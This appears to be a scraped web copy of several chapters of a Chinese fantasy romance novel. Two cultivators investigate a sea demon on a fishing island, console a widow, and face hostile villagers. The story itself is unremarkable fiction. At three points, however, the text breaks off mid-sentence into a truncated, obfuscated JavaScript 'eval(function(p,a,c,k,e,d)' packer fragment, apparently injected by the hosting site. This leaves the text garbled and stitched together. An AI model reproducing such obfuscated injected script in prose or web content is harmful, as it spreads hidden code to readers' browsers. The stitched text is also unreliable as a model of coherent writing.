久之,吱呀一声,门往里打开,但只开了一条狭窄的缝,可见门后挂着一沓厚厚的锁链,一个含着哭腔的女人正举着一把刀,颤抖而倔强的声音从里传来:“我丈夫还没回来,求求你们别再来了,他真没有私吞你们的钱,我们已经把房子卖了,一点钱都没有了。” 林祝二人奇怪地互看一眼,祝珩之上前一步道:“请问您是村长夫人吗?我们受村长相邀,自天留山而来,我姓祝,他姓林。” “天留山?” 须臾,那沓锁链吭啷落地,木门大开,那四十左右光景的女人忙扔下刀,破涕为笑,眼睛布满红血丝:“是的是的,祝道长,林道长,快请进。” 他们一进去,村长夫人急切左顾右盼,里三层外三层把门牢牢锁回去。 院子明亮,整齐铺晒着海带、鱼干、虾干等,一如村长临死前递给林淮舟的那些海货,咸腥味溢满空气。 村长夫人热情地倒了两杯热茶,烫到手也不理,急中带喜问:“二位道长,我丈夫没跟你们一起回来吗?他一大把年纪身体不好,我本来不想让他出远门的,可他死活要去我也没办法。我儿子昨夜出海未归,怕是凶多吉少,我只剩他一个人了。” 说罢,村长夫人眼泪掉个不停,哭得很凶,薄白的嘴唇抖个不停。 面对这种生离死别,祝珩之一张巧嘴都不知该如何提起,只能惋惜道:“夫人,请节哀。” “什么?”村长夫人一愣。 林淮舟默然,从乾坤袖中化出一坛骨灰、一个装着二十两银子和一些海鲜干货的蒙尘包袱,道:“我们看到他时,他身体已经没有一处是好的了,五脏六腑皆衰竭,几乎是强忍疼痛靠着意志挺到最后,我们……实在无力回天。” 村长夫人颤颤巍巍摸着她亲手在包袱上缝制的“平安”二字,泪如雨下,捶胸顿足:“我就叫你不要去,不要去,怎么就不听呢!就会考虑别人家上有老下有小,出不了远门,那我呢?儿子呢?我们自己家呢?” 话音未落,她两眼一翻,唇色发白,当场晕了过去。 再次睁眼时,她已经躺在床上,像是睡了一觉醒来,胸腔没那么疼,摸着那冰凉的骨灰坛,她心里现在只有淡淡的平静,眼泪却还是不住往下流。 门外,祝珩之坐在小板凳上拿根稻草逗蚂蚁,林淮舟就地打坐静修,他们敏锐地听见屋里低低的啜泣,齐齐抬眼。 祝珩之刚起身,村长夫人便赤脚冲了出来,抱着骨灰跪在他面前,砰砰磕头:“恳请二位道长收服海妖,还我们安宁,让我丈夫在黄泉之下安息!” 林淮舟扶起她:“夫人快快请起,我们前来,正是为了此事。” 祝珩之突然想到什么:“在这之前,我们想先把令郎找回来,给您做伴,您看行吗?” 村长夫人连连点头:“好,好,太感谢了,我只剩他一人了,要是他有个什么三长两短,我也不活了。” 林淮舟不动声色看了祝珩之一眼,那眼里不是一如既往的嫌弃与烦厌,而是夹杂着某种比较柔和的触动。 “杨力他娘!你儿子找到啦!” 村长夫人登时站起来,跑得太急绊掉了一个鞋子,她的手控制不住抖动,压根拿不稳开锁连的钥匙,她咬牙狠狠打自己的手,好不容易捅进去,却怎么也拧不开。 “杨力他娘,快开门,你儿子快不行了!”门外的人催促道。 “快了快了。”她这才意识到自己钥匙用反了,她咬牙涨红了脸,却怎么也拔不出来。 顷刻间,一道蓝光闪过,千层万叠的锁链嘣的一下全断成条状,木门自然大开,村长夫人忍着软了一半的双腿,扶门框爬出去。 紧接着,四人抬着一个担架进来,其上躺着一个浑身湿淋淋粘着沙石的清秀男子,浑身血肉模糊,双目紧闭,脸色青紫,不知死活。 “我的儿啊!!!”村长夫人撕喉嚎啕,几乎又要昏厥过去,祝珩之上前一个箭步扶稳她。 就在此时,林淮舟看见那男子眼皮微动,沉声道:“他没死!” 村长夫人翻上去的眼仁立即落了下来,便见林淮舟指尖闪烁一种神秘的蓝白光,快速在她儿子身上点了几个穴位,后者立即喷出一地海水,咳嗽不止,脸色渐渐红润。 原来,自从海妖作乱以来,害了两百余人变成干尸,直接抛尸海岸,渔民纷纷吓得不敢出海,而大多数人又与店家签过按时供货的契约,眼下没有新鲜的海货,便形同违约。 那可是要赔很多钱的。 一些商家听闻湄清岛有海妖,便直接雇了打手上门催着要货,没货赔钱,没钱索命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝珩之一脸认真:“鲈鱼不用挑小刺啊,肉质鲜美滑口,多汁清甜,很适合你这个对食物很懒的孕妇,应该很补,再弄点茯苓、天麻、川芎一起清蒸,大补!” “……” 适时,门外一阵骚动,顷刻间,一群男女气势汹汹,拿着各式各样的农具渔具,像马蜂一样涌了进来。 为首的光头佬恶狠狠道:“杨力!还我儿子的命来!杨力,给老子滚出来!” “还有我儿子的命,也一并还来!”光头佬身边的一个赤脚大娘也嚷嚷起来。 林淮舟一眼便认出了他们大多数是方才送花轿的人,上前道:“如果没错的话,各位的儿子是自愿出海的吧?” 光头佬颐指气使道:“你是谁?跟你有关系吗?” 赤脚娘凶神恶煞道:“要不是那该死的杨力多次劝说我儿子,他就不会被妖怪榨成人干,都是因为他,为什么只有他一个人活着回来?他凭什么?!” 祝珩之挡在林淮舟身前,脾气很好地劝道:“这位大娘,你要讲话就讲话,靠这么近干嘛呢?这么想让别人知道你有口臭吗?来来来,退,退,退。” 那赤脚娘被祝珩之非常有礼貌地请到距离林淮舟三米以外的地方,她看着面前男人笑眯眯的英俊眉眼,喉咙却像被浆糊黏住了,嘴巴张得再大,也只能发出蚊子般的声音。 “杨力,你个王八羔子,不敢出来是吧?信不信老子拆了你家!” 话罢,那光头佬挥着镰刀就往窗棂砍去,奇怪的是,他一身蛮力,却砍得不深,更怪的是,明明那么浅的坑,他却费尽九牛二虎之力也拔不出来。 无人知晓的宽袖之下,林淮舟指尖灵光闪烁。 这时,人群有个小鼠眼猜,尖声尖气道:“你们不觉得很奇怪吗?海妖什么人都吃,偏偏就放了杨力,凭什么?难不成他跟妖怪有什么私底下的交易?” 一个酒糟鼻上前一步,接话道:“这么一说,倒是有几分道理,譬如,他答应海妖送人给他吃,然后让海妖留他一命,这也说得通啊!难怪其他五个人都死了!” “对对对!” “说不定啊,这个杨力,就是那个作恶多端的海妖!妖肯定是不会死的。” 那些村民你一言我一语,越猜越离谱,忽然,砰的一声,屋内一阵好大的动静。 “啊啊啊啊啊啊!妖怪,妖怪来了!” 不少人瞪大眼睛,纷纷惊魂落魄撒腿就跑,剩下的人见到他们跑了,不知所以然也跟着一起跑光了。 而光头佬还在原地,手脚并用哼哧哼哧拔镰刀。 林淮舟施施然走过去:“你不走吗?” 16. 我大你大 “哼,老子的儿子都没了,有什么好怕的?” “这样啊。” 林淮舟指尖一转,他的镰刀登时飞出手心,似有一个无形的巨人高高抬臂劈下。 光头佬大惊失色,摔坐在地,张嘴大叫,连连蹬了好几次腿才找到踩地的感觉:“你……你是妖……妖……有妖怪啊啊啊啊啊啊!!!” 林淮舟手腕一转,那镰刀一直跟在光头佬身后,咻咻咻咻,刃光交横,没几下,就把他衣服撕成羽毛般的碎片。 一块帕子大小的烂布黏在他脸上,像粘了胶水似的挥之不去,然而,那光头佬吓得一直闭着眼睛,浑然不知自己一路光着身子往外跑。 祝珩之抱胸而立,看着那长白条一晃而过,吹了一声口哨,揶揄道:“没想到,师哥有这癖好。” 林淮舟面无表情道:“过奖了,你不觉得,这样才更配他吗?不、要、脸。” 祝珩之兀自拍腿大笑:“林淮舟,没想到,你还挺好玩的。” 他板着脸,一个眼神飞过去:“好玩的是他们,不是我。” 祝珩之立即识相闭嘴,右手大拇指不经意摩挲食指上的半颗朱砂痣,耳尖莫名微微发烫。 房门轧轧而开,村长夫人有些局促站在那儿:“不好意思,我没忍住掀了桌子,二位道长,失礼了。” 林淮舟轻声道:“夫人请放心,他们最近不会再来找麻烦的,好好休息吧。” “好,多谢,我去做饭,还请二位道长替我照看一下力儿。” 赶了一天,也有些饿乏,村长夫人体贴周到,很快就做好了一顿热腾腾的饭菜,紫菜冬瓜汤、虾干炒韭菜、生蚝干煎蛋、海带苗炖豆腐,色香味俱全。 饭后,天色已黑,由于这个老屋过于逼仄,房间不够,村长夫人打算收拾自己的卧房给他们休息一晚。 “这……”林淮舟想婉拒,可是她动作麻利,已经格外热情地铺上新被褥。 祝珩之吃了饭之后不知道死哪儿去了,但林淮舟肯定他就在附近,便扬声一喊:“祝珩之!” 咻的一声,一道黑红色影子速速而至,祝珩之耐心道:“师哥,我不是教你暗号了吗?忘啦?要不要我再教你一遍?来,跟我念……” “闭嘴,”林淮舟抬了抬下巴:“村长夫人说要把她的房间让给我们住。” “这可使不得。” 林淮舟见他满脸堆笑地帮村长夫人拿下柜子最上面的枕头,便出去转转。 月亮如一个银盾高高挂起,薄薄的月光洒下来,卧房里,灯火通明,一个男人背对他在执笔写些什么。 林淮舟眯了眯眼,那不是杨力吗? 他的手伤得不轻,按道理来说,还不能握笔,可他却像个没事人一样,很轻松地唰唰唰写字? 屋里突然传来村长夫人的笑声,杨力警惕看向窗外,好在林淮舟反应快身子单薄,直接躲进檐下柱子后,而后探出头去看时,他已经藏好纸笔躺回床上,又变成一尊病体。 另一头,祝珩之殷勤地送村长夫人出来,不知又说了什么,后者心情愉悦道:“好吧,二位道长,那我去把杂物间收拾出来给你们啊,那间房我平时一直都有打扫。” 祝珩之一手抵在门框,一手叉腰,抛了个媚眼给阴影处的林淮舟:“怎么样?佩服吧?还不叫一声?” “切。” “……” 杂物间本来会比卧室小,放不下两张床,就在床角下打了个地铺。 林淮舟和祝珩之皆为八尺男儿,光是站在门口,便几乎顶到门,祝珩之会更高一点,额头上方与门框齐高。 “你看,我进不去。”祝珩之挑衅地看着直直进入房间的林淮舟,待后者看过来,他才微微弯腰:“你看,我是这样进来的。” “最快进来的人睡床。”林淮舟眉毛一挑,已经坐在床上。 “……这不公平!” “很公平啊,我睡床,你睡铺,一人一边。” 林淮舟用手比划了一下床与铺之间的中轴线,还真的把房间不偏不倚地一分为二,犹如天枰左右两个均匀的秤砣。 祝珩之:“……” 湄清岛的晚上格外宁静,细细听,还能听到海水的波浪声,一起一伏,缓缓的,令人不经意间放松下来。 祝珩之边脱衣边随口问:“你是不是要吃药了?” “你才要吃药。”林淮舟正闭眼打坐静修,随口应道。 祝珩之觉得对方的回答不太对味,片刻,解释道:“我不是那个意思。” “你哪个意思?” “……” “我是说,木青给你的……保胎药,吃了没?”祝珩之耐着性子道。 “哦,吃不吃都行。”林淮舟答道。 “那你到底吃了没?” “很重要吗?” 祝珩之一下子噎住:“……” 须臾,他好像想明白什么,食指虚空点了点:“我就知道。” 他径自走向林淮舟,坐在床沿,解开的衣领松松垮垮,胸前的肌肉线条在明灭烛火中层峦起伏,如野兽般极具爆发力。 林淮舟顺带瞄一眼就撇开视线,指了指中间:“你越线了,这才叫不公平。” 祝珩之没跟他探讨这个不知从哪里开始冒出来的问题,而是指尖跃上一团红光,兀自化出林淮舟乾坤袋里的十几个瓶瓶罐罐。 他随手拿来一个空杯,拿着药瓶就往里倒,絮絮叨叨:“孩子不是你一个人的,吃不吃药也不是你一个人可以决定的,他一天在你肚子里,我就一天是他爹。” 一提到孩子,不知为何,两人双双沉默,气氛就很诡异。 “你自己都过得一塌糊涂,别祸害人了。”林淮舟冷冷道。 “我那叫无拘无束,一人吃饱喝足全家不愁,自己怎么舒服怎么来,可某些人啊,蠢到家了,连什么时候吃药吃什么药和吃多少颗都记不住。咱俩孩子都已经有了,我不多上点心,难道提起裤子不认人做负心汉?你都认识我这么久了,在你心里,我是这种人吗?” “不是吗?” “……” “不跟你计较,总之,咳咳,中元节之前,你和孩子都不能出事,就这么定了。” 林淮舟道:“我不需要。” “你省省吧,那我考你一个问题,只要你答上来了,我就撒手不管,你爱怎么样怎么样。” 林淮舟沉默了一会儿。 “呐,这都不敢,倒有臭脾气跟我在这倔,都是给谁惯的。” “谁说不敢?放马过来。” 祝珩之贱兮兮一笑,问道:“请问,我的大,还是你的大?” 林淮舟了然一笑,答道:“这有何难?你五月,我八月。” “错!师哥,我问的是‘我的’和‘你的’,注意哦,别跑题了。”祝珩之狡黠一笑,眼神示意某处。 林淮舟登时涨红了脸:“不知羞耻,这什么问题?祝珩之,你耍赖!” “你也没说不能问这种问题啊,这下答不上来了吧,你输了,师哥,还是乖乖听话,吃药吧啊。” “……” “怎么?怕我害死你啊?”见林淮舟不接,估摸着吃药时间快过了,祝珩之便如实道:“好了,算我输,刚刚吃完饭后,我上了茅房,联系木青确认过了,这些药就是这么吃的。我以人头担保,如果你吃进去后有什么异常,你就把我当场扇个稀巴烂,我决不还手,若是还手一丁点,就下辈子下下辈子都做你的狗,行不行?” 说到最后,对方温热的吐息像猫尾巴似的挠着林淮舟鼻子,太近了,近到林淮舟都能看到他熠熠生辉的墨瞳,以及眼仁下的一颗灵动的小黑痣。 “我要一壶水。” 未多时,一壶水喝完,药还剩一大半,因为,林淮舟是一颗药丸一大口水配着的,有时候一口水都搞不定,要两三口。 祝珩之光是看着他吃药都看困了,他撑着沉重的眼皮又给他倒了一大壶水,盘腿坐在地上一手支颌:“你喉咙也太小了吧,跟绣花针似的,怪不得。” “什么?”林淮舟终于吞下最后一颗药丸,咕噜咕噜把剩下的水全喝光才涮干净嘴里的苦臭味。 “怪不得你从不吃红烧肉。” 林淮舟:“……” 烛火比先前昏黄一些,祝珩之大概是迷 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祝珩之本来莫名火起,可一对上林淮舟那双水灵漂亮又带着点幽怨哀伤的淡蓝眸子,他突然感觉对方其实挺可怜的:“……那我搬过去和你一起住,总行了吧!” “再说。” “……这不行那不行,你到底想怎么样?我以前怎么就没发现你这么娇气这么难伺候?我都让你了这么多了!别以为老虎不发威当我是病猫,老子想把你留在身边还不容易?有的是你想不到的办法!” “嘶!”林淮舟忽然捂着肚子叫了一声。 祝珩之心下一咯噔,可一想到自己方才血气方刚的男子汉模样,这时突然嘤嘤嘤地关心别人,实在有毁英明神武的高大形象,便躺回去,硬着头皮道:“你看,不听他爹的话,孩子都有意见了。” “嘶……哎哟!”林淮舟神色有点不对。 好像还真的有事。 祝珩之蹭的一下飞过来,双手在空中划拉要碰又不敢碰:“爷爷!奶奶!祖宗!媳妇儿……呸,林淮舟你怎么了?肚子疼?我放错药了?没道理啊,我确认很多遍了,不会出错的,你还好吗?不行不行,我还是把木青叫过来吧,他比较懂……” “等等,”林淮舟一把按住他拿玉牌的手,“不必,我……我出去一趟。” “你真没事儿?” 林淮舟摇摇头,下床走出杂物间,不一会儿,他折返出现在门口。 “怎么了?是很疼吗?要叫木青是不是?” 林淮舟还是摇摇头。 晚风风凉,祝珩之愣是额头一层惨兮兮的毛汗:“祖宗,你倒是说啊,到底怎么了?你可千万别出事儿啊。” 林淮舟好似再也忍不住了,身子越发弯曲,手指紧紧抠着门框,玉白的脸颊在橙黄的烛火下微微泛红,他咬咬唇,问道:“茅房在何处?” “…………哈哈哈哈哈哈哈哈哈哈!”祝珩之笑得喘不过气。 林淮舟瞪他一眼:“祝珩之!” “出门右拐,最里边那间,哈哈哈哈!”祝珩之朝着那急匆匆的背影喊道,“慢点儿,灯有点黑,别侧漏了,要不要我替你把着啊?” 适时一个石头软绵绵地扔了过来。 祝珩之扑哧一声,笑得直躺地。 翌日,风和日丽,万里无云,正是出海的好日子。 村长夫人把自家的渔船给了林祝二人,还在船上准备了不少干粮和水,细心提醒道:“海上时有海盗出没,敛财杀人,猖狂至极,二位道长要小心。” 船只下水过程中,村长夫人奇怪地咦了一声。 祝珩之快步上前:“夫人,可是需要帮忙的?” “哦,不用,多谢祝道长,这船大抵许久没用了,吃水比以前多了点。” 林祝二人视线撞在一起,双双不言。 目送孤帆远影,村长夫人一个劲儿地跪在沙石上念念叨叨地朝他们叩头:“大慈大悲的神仙一定要保佑二位道长斩除妖孽,平安归来……” 碧空尽头,船只平静行驶在蔚蓝的海面上,船帆顺风自得。 祝珩之躺在甲板上翘着腿晒太阳,嘴里叼着不知从哪来的一根草,悠悠道:“出来吧。” 17. 夹带私货 林淮舟在一旁打坐静修,不动声色。 须臾,船舱里细细簌簌,脚步声靠近,一个清秀端正的男子映在阳光下,不正是昨天刚从海妖嘴下唯一拿回小命的杨力? 他不安地摩擦着手,低头愧怍道:“对不起,二位道长,是我擅作主张。” 林淮舟眼皮掀也不掀:“为何?” 杨力紧紧握拳,郑重其事道:“我想给我的朋友们报仇,他们全都因我而死,我必须给他们一个交代。” 祝珩之晃着腿,漫不经心道:“你要是想以死自证清白,这里海水深度很合适,你直接跳下去就好,一了百了,以命抵命。” 杨力咬了咬唇,道:“我想出一份力,哪怕在危险的时候帮道长们拖延一点点时间也好,而且,我见过海妖,我还知道他的地盘里有很多陷阱,我可以帮到你们的。” 林淮舟缓缓睁眼,淡蓝色的眸子与海水交相辉映:“说来听听。” “不,除非你们让我留下来。”他执拗道。 片刻,祝珩之起身勾住他肩膀,虚虚握拳捶了一下他胸口,随意亲和道:“行啊,看不出来,小伙子,小小年纪,你还挺有胆量的。” 杨力不好意思笑了笑:“那林道长……” 林淮舟闭上眼睛,沉默不应。 祝珩之摆摆手道:“无所谓,我同意他就同意,我俩从来不分谁跟谁。” “那就好,多谢多谢,我一定不会拖你们后退的。” 海风拂面,舒适清爽,白鸥低翔。 迎着风,杨力徐徐回忆道:“当时,我们都被卷入了一片黑色海域,鱼妖骤然从海面飞出,我们的船一下子就翻了,我被一块船板砸晕后,醒来时,就发现自己和朋友吊在了很大很大的树上。” “我们手都被树藤死死缠住,挣脱不掉,我旁边的一个朋友他习惯鞋里藏刀片,他就把自己荡起来,把刀片递给我,我就割断树藤掉了下去,就在我准备解救我朋友时,海妖却回来了,我只能硬着头皮先逃,然后再想办法回来救他们。” 说起不堪回首的往事,他神色哀伤,眼角泪花闪烁。 “我当时真的很害怕,不知道海妖追没追来,一直跑一直跑,看到路就拼命跑,那里像个迷宫一样,有好多条分岔路,我几乎都跑遍了,最后得老天保佑,我才瞎猫碰上死耗子,一个人,逃了出来。” 林淮舟缓缓问:“你还记得哪条路是出口?” “记得,我肯定记得,只有出口才是没有一点危险的,所以我才才能很顺利,你们不知道,其他的路都有非常非常可怕的东西,真的,我看到过,你们要信我。” 祝珩之笑眯眯道:“老兄,没有不信你,你何必一直强调呢?对吧?” 杨力抓抓头发道:“对不起,我……我怕你们走错路,碰上那些东西,很难缠的,我当时差点没死在那里。” 就在此时,浓雾般的乌云从海平线迅速包围过来,眨眼间遮天蔽日,平静的海面突翻大浪,一波接一波,渔船剧烈摇晃,嘎吱嘎吱响,似乎随时会被冲散。 杨力吃力地扶着船板,满面恐惧:“要来了!他要来了!” 紧接着,一阵阵诡异的狂风呼啸而至,粗大的桅杆咔嚓一声折断,渔船完全失去了重心,像个不倒翁似的东倒西歪。 杨力一不小心脚下失重,半个身子探出海面,船又一晃,他整个人面朝海水背朝天被狠狠抛了出去。 千钧一发之际,脖颈忽而一紧,惊呼转眼,原是祝珩之捞住他,那力气大得着实没话说,杨力只觉自己一个成年男人在他手里就像浮萍一样轻。 他被顺势一把拎起,整个人像香蕉皮似的在空中划出一条优雅的弧线! 与此同时,船身极具晃荡之际,林淮舟平衡如故,色淡如水,猛然俯腰单跪,当——饮霜剑直直钉在甲板上,海风拂起他如瀑如锻的银发,他眼皮一掀,双手结印,一个灵光熠熠如水波纹的阵法,瞬息笼罩住整艘船。 砰的一声,杨力落在泛着灵波的甲板上,只觉脚下如履平地,耳根清净,然,阵法之外,祝珩之凌空而立,掌心燃烧着奇异的火苗,面前风浪滔天,黑云压城。 此时一个惊天巨浪如擎天猛兽的舌头般,骇然兴起千丈,朝犹如一粒黑豆大小的祝珩之吼啸而去! “祝道长!”杨力撕嗓吼叫,仿佛大声点就能吓退卷浪似的。 但见林淮舟又结了一个极其复杂的法印,手快得重影,团聚灵光的手掌猛然贴住甲板,顷刻间,一道螣蛇般的冰柱蜿蜒而出! 瞬间分叉成无数根透蓝的琉璃般的冰柱,延至黑空,顺着巨浪,以肉眼看不见的速度攀岩,一路劈里啪啦冻个彻底。 “祝珩之!破!”林淮舟令道。 “明白。” 祝珩之微微一笑,右手化出一把百斤重的火焰黑刀,足尖轻轻一点,挥刀而下! 犀利的刀风瞬间化作一只壮观的烈焰凤凰,仰头嘶鸣,响彻天际,同时展开两个庞大美丽的羽翼,一左一右,砰——不费吹灰之力拍碎那座高耸入云的冰山。 而后,祝珩之完美的下颌线动了动,嘴里的草换成另一侧,掌心随意团起火球,放到脚边,后退几米,又奔回去,右脚一后一前,那火球就像蹴鞠似的被一脚踢飞,钻入碎冰之中,轰的一声,火光赫然炸开,炽热的光芒如烟花绚烂。 大大小小的冰块——巨浪的前身,纷纷化作一滴滴阴凉的水,下阵雨似的,滴滴答答打在杨立仰起的脸庞。 他还傻睁着眼,一动不动。 海面再度恢复平静。 好一阵雨后,海面涌起茫茫大雾,如吹不散的厚厚一沓陈年积灰,久久看不见前方,更不知身在何处。 忽而,林淮舟警惕道:“有妖气。” 不知过了多久,水雾悄然散去,又是一片风和日丽,晴空万里。 “你们看,海水……”杨力瞪大眼睛指着船下。 顺着看去,海水呈一片浓郁的黑色,暗流波涌,深不见底。 晒了一路太阳的祝珩之反而打起十足精神,活动手脚:“可算到了,躺得我快石化了都。” 然而,黑水湾似乎无边无际,船又漂了很久很久,海面依旧风平浪静,并没有出现杨力口中所说的会飞的鱼妖。 祝珩之无聊地蹲在船栏上啃着一块村长夫人给的海菜饼:“老兄,你不是说那鸟鱼就在这里吗?” 杨力百思不得其解:“我也不知道为什么和那天不一样,或许, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝珩之前一刻还颐指气使,后一刻就搂住杨力,一把鼻涕一把泪蹭着:“……我不活了呜呜呜,老兄,你现在知道我有多难了吧?我每天都过得胆战心惊,生怕哪一天就莫名其妙咽气了,我还没娶媳妇儿,实在没脸去见祝家的列祖列宗啊,毕竟我是家里唯一带把的呜呜呜。” “……”杨力突然觉得,这两个人并没有看上去那么正常。 沿着光线的方向继续往前走,不一会儿,便到了洞口尽头,那里满眼深绿,一呼一吸沁人心脾,这里的草木品种不详,怪异地扭曲与茁壮,像是一片经历了很长历史的无人踏足的古树林。 杨力回忆起什么可怕的东西:“没错,就是这里了,我和朋友当时就是被海妖吊在这些树下!” 林淮舟不动声色看了他一眼。 祝珩之眼泪鼻涕说收就收,撕开喉咙混着回声喊道:“海妖!你给老子滚出来!来——来——来——” 杨力一惊,压低声音道:“祝道长,你这做什么?” “我饿了,想早点回家吃饭。” “……” 林淮舟忽而耳梢一动:“有东西来了!” 18. 群魔乱舞 他们即刻闪身躲在密不透风的灌木丛,俄而,脚步声越来越近。 有些密集,不像一个人。 树林深处,五个高低宽瘦的阴影慢慢走出来。 “奇怪,声音明明是从这里传出来的。”为首一位葛巾布袍八字胡,一手挥着装神弄鬼的拂尘。 “对啊,我也听见了,声音难听要死,肯定是那海妖。”一个光头男人手执镰刀道。 “他们怎么来的?”林淮舟疑道。 把丧事当喜事办的黄一道长、去村长家闹事的光头佬、赤脚娘、小鼠眼、酒糟鼻。 祝珩之道:“这下妖怪有的吃咯。” “谁在那里!出来!”黄一低声一吼,一张黄符陡然飞出。 两根修长的手指从丛中伸出,轻而易举夹住那黄符,祝珩之像玩蒲公英似的,随意吹一口气,那黄符登时化成齑粉,随风消散。 赤脚娘惊吓道:“他们不是杨家的那两个妖怪吗?” 这时,杨力走出来解释:“乡亲们,他们是我爹从天留山来请来的道长,不是妖怪。” 小鼠眼后退一步:“杨力,你自己是妖怪,肯定帮着妖怪说话!黄道长,他们肯定是一伙的,是他们合力害死了我们的儿子,害死了岛上那么多人!” “对,就是他们!” “道长,快施法让他们去死!” 黄一正了正衣襟,中气十足道:“大家别慌,再厉害的妖怪,在我黄一道长面前,都是小菜一碟!” 话如定心丸,那几个人大大松一口气,酒糟鼻扬声道:“不错,有黄一道长在,我们什么都不怕!” 林淮舟扶额,好意提醒:“这里很危险,你们怎么来就怎么回,此事没有你们想象中那么简单。” 黄一神气地双指一点:“妖怪!休得胡言,我看啊,你们就是和海妖一伙儿的,只要你们跪下来求饶,我就给你们一个改过向善的机会。” 祝珩之双手抱胸,歪歪头:“哟,好大的口气啊,我长这么大,真是没见过你这般厚颜无耻之徒,老子就算要跪,那也是跪我未来媳妇儿,你又算哪来的烂葱臭蒜?” “好,别怪我将你们通通打回原形!看招!” 杨力喊道:“住手!这里不能打架!鱼妖会发怒的!” 可太迟了。 祝珩之刚接下对方一招,一阵阵猛兽嘶吼响彻天空,顷刻间,地动山摇,平地起狂风,地面突然轧轧倾斜,大片大片古树吱吱呀呀连根拔起,轰然倒塌。 大地几乎斜成一个站不稳的陡坡,高处不断落下大大小小的石头,朝他们滚来,像启动什么陷阱似的。 山坡尽头是一片深不见底的悬崖,村民们摇摇欲坠,惊慌无措。 “大家快远离树下,去空旷的地方找个东西扶稳!”林淮舟喊道。 铮的一声,饮霜剑出鞘! 他御剑起飞,或俯或侧,腰部极其灵活,在一颗颗陆续崩塌的古树间穿梭,咻的一下,来到哧溜溜下滑的光头佬身边,一把抓住他手臂,准备往上扔给正在一拳砸碎数尺宽岩石的祝珩之。 电光火石之际,黄一在旁边大喊:“他是妖怪不能信!” 那光头佬不知哪来的气力挣脱林淮舟,可这一动作让他完全脱离重心,风一刮,比泥鳅还丝滑地掉进悬崖:“啊——” 混乱之中,视线极易错位,在他人看来,光头佬像是被林淮舟推下去的,见林祝二人如见吃人禽兽,一点都不配合,结果被风越吹越远,离悬崖越来越近,纷纷大声求助几乎自身难保的黄一道长。 “黄道长快想想办法!我们要挺不住了!” “黄道长我们只相信你!” …… 那全村的希望——黄一道长正抱着一棵树迎风翩翩起舞,被沙石吹得眼睛睁不开:“就是他们几个搞的鬼!大家挺住,千万别信!我相信你们可以用意念对抗邪恶,想想你们被他们害死的儿子,坚持才能看见胜利!” “黄道长说得对,我们不能屈服!” “就是,与妖怪势不两立!” …… 话音未落,又卷来一阵狂风,五个意志坚定的人又往下滚了一滚,有两个人的小腿几乎掉出悬崖。 只骂过不认真练功的弟子和祝珩之的林淮舟,此时真的忍无可忍骂了句:“你们一个个白痴吗?!” 适时,地面变得更加陡峭,狂风呼呼,赤脚娘和酒糟鼻再也抓不住了,齐齐如飘叶,和光头佬作伴去。 林淮舟欲飞去救人,可却被身边的杨力拉住了:“林道长,那下面有非常可怕的东西!下去了很有可能会回不来!” 黄一道长还在负隅顽抗,狞笑道:“你们看,妖怪做法了!他被我们坚持不懈的精神惹怒了!看看他拿我们没办法的样子,有没有很痛快?!” 唯一剩下的小鼠眼的后半身已经挂在悬崖上,他这回真的应和不起来,嘶哑喊道:“黄道长快救救我!我要不行了!” 黄一脸色发白,手开始慢慢滑离树干,食指中指的指甲盖血淋淋掀开,眨眼间,整个人被风狠狠揣出去,在空中旋转滚圆。 砰的一下,重重砸到小鼠眼满是泥土的手。 “啊——”小鼠眼痛得下意识一抖,人也被团成团,吞进悬崖。 这边,黄道长面朝上,绝大部分身体悬空着,他不敢乱动,满脸惊恐看向空中御扇而飞的祝珩之:“道友,道友,救人一命,功德无量,道友行行好,救救我……” 祝珩之眉毛一挑,飞过去,蹲下来看着他满脸堆笑的表情,眉眼弯弯道:“你可算找对人了。” “道友一定会好人有好报的,等我出去,我一定为你做一场法事,不要钱,保佑你一生平安,如愿娶到貌美如花的媳妇,阖家幸福美满。”黄道长眼里充满希望,缓缓把手伸给祝珩之。 祝珩之犹豫片刻,竖起中指,递过去,径自错开对方的手,指尖如剑,半指距离隔空抵在他汗泪涔涔的额角, “道友这是作甚啊?我掉下去会死的,我还不想死,道友,求求你了,我把我一万两黄金的积蓄都给你!我那十五个老婆长得还不错,都可以一并给你!”黄一道长眼中含泪乞求道。 “可我是妖怪啊,只吃人,不救人,是不能信我的,不是你说的吗?” “对了,我还不想娶媳妇,已经有一大一小够我受的了,我现在压力很大的。” 祝珩之笑了笑,中指往前送了一下,还没碰着,黄一道长就吓得面如土色手脚失衡,咕哝一下,消失了。 “啊,这么快的吗?我还没玩够呢,不见咯。” 不知怎么这么邪,黄一掉下去不久,整个大地就轰的一下躺了回去,平整如初,那些东倒西歪的古树也诡异地回立起来,落石归于原位,好像时光倒流般做了一场关于未来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仔细看,那其实是一张张人脸,像被揍扁似的,五官扭曲,嘴巴和眼睛勾在一起,奇形怪状,他们密不可分,统一张开大嘴,呜咽地嚼着烂木、碎布、鞋子、绳索、头骨、石头等杂七杂八的死物,不停咕噜咕噜冒着泡泡。 “把脚给我挪开!” “谁在说话?谁在装神弄鬼?” “三,二……” 脚下搁着几根白皙纤细的手指,像白骨爪,有点发红,祝珩之脑子一激灵,下意识抬起脚往后退,像蜘蛛一样背贴石壁。 回头一看,一个白衣男子荡了上来,与站在同一棵歪脖子松树上,掏出手帕,面无表情擦手。 胸膛与后背之间堪堪能塞进一个手掌,祝珩之稍微呼吸急促些,对方便能一下子被温热到,他无意扫了一眼林淮舟细腰前的小腹,还是很平坦。 可这么近距离一看,便能发现,那向来平整熨帖的素色腰带,微微陷进柔软的衣料里,勒起一层层褶子,宛若腹中孩子迫不及待想来到世间而伸出的稚嫩小手。 